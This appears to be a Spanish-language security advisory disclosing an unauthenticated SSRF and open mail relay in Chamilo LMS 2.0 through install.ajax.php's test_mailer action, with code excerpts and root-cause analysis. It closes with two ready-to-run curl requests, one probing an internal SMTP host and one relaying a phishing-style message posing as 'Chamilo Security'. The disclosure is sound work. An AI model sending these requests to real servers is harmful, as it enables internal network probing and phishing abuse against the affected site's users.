
SSRF no autenticado + Relay de correo abierto en Chamilo LMS a través de install.ajax.php — CVSS 7.5
Severidad: Alta (CVSS 7.5)
CWE: CWE-918 (SSRF) + CWE-306 (Autenticación faltante)
Afectado: chamilo/chamilo-lms 2.0 (commit 0195b29 y anteriores)
Aviso: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
install.ajax.php en Chamilo LMS 2.0 es accesible sin autenticación en instancias completamente instaladas. Su acción test_mailer acepta un DSN arbitrario de Symfony Mailer y un destino provenientes de los datos POST, lo que permite a cualquier atacante no autenticado forzar al servidor a iniciar conexiones SMTP hacia hosts internos arbitrarios (SSRF) y enviar correos electrónicos a través del servidor Chamilo como un relay abierto.
Estaba auditando Chamilo LMS después de notar que había acumulado varios CVEs pero no había sido auditado en profundidad en sus endpoints AJAX. Mi enfoque: listar todos los archivos en public/main/inc/ajax/ y verificar si cada uno comienza con require_once __DIR__.'/../global.inc.php' — la inclusión que aplica la autenticación en todo el código base.
install.ajax.php fue la excepción. Solo incluye el autoloader de Composer. El nombre del archivo ya sugería que era código de instalación sobrante — y al hacer grep de test_mailer dentro de él confirmé que acepta una cadena DSN cruda de Symfony Mailer desde los datos POST y la pasa directamente a Transport::fromDsn().
Eso es una primitiva SSRF completa: un atacante no autenticado controla el protocolo, el host y el puerto al que el servidor se conecta. El hecho de que envíe un correo electrónico real a través del transporte que configures lo convierte también en un relay abierto. Confirmé con un simple curl que el endpoint era accesible sin ninguna cookie de sesión en una instancia completamente instalada.
La causa raíz es arquitectónica: el archivo evita el firewall de seguridad de Symfony porque RewriteCond %{REQUEST_FILENAME} !-f de Apache pasa los archivos PHP existentes directamente a PHP, sin llegar nunca al controlador frontal.
Archivo: public/main/inc/ajax/install.ajax.php
El archivo fue diseñado para el asistente de instalación pero permanece accesible después de la instalación. A diferencia de todos los demás endpoints AJAX en el mismo directorio, no incluye global.inc.php — lo que significa cero autenticación, cero verificación de autorización:
// Línea 18 — solo carga el autoloader de Composer, sin autenticación
require_once __DIR__.'/../../../../vendor/autoload.php';
La acción test_mailer (línea ~138) acepta parámetros POST controlados por el atacante:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // DSN SMTP arbitrario
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // correo arbitrario
// ...
$transport = Transport::fromDsn($mailerDsn); // se conecta al servidor SMTP del atacante
$mailer = new Mailer($transport);
$mailer->send($email); // envía el correo a través de él
Compara con cualquier endpoint correctamente protegido:
// chat.ajax.php línea 9 — patrón correcto
require_once __DIR__.'/../global.inc.php'; // aplica autenticación
api_block_anonymous_users();
El archivo es servido directamente por Apache (RewriteCond %{REQUEST_FILENAME} !-f pasa los archivos PHP existentes, evitando el firewall de seguridad de Symfony). La ausencia de la inclusión de global.inc.php significa que no hay sesión, no hay autenticación, no hay verificación de instalación completada.
Consulta poc.py para una demostración completa.
# SSRF — fuerza a Chamilo a conectarse a un servidor SMTP interno
curl -X POST "http://<objetivo>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Relay abierto — envía correos de phishing a través del servidor Chamilo
curl -X POST "http://<objetivo>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"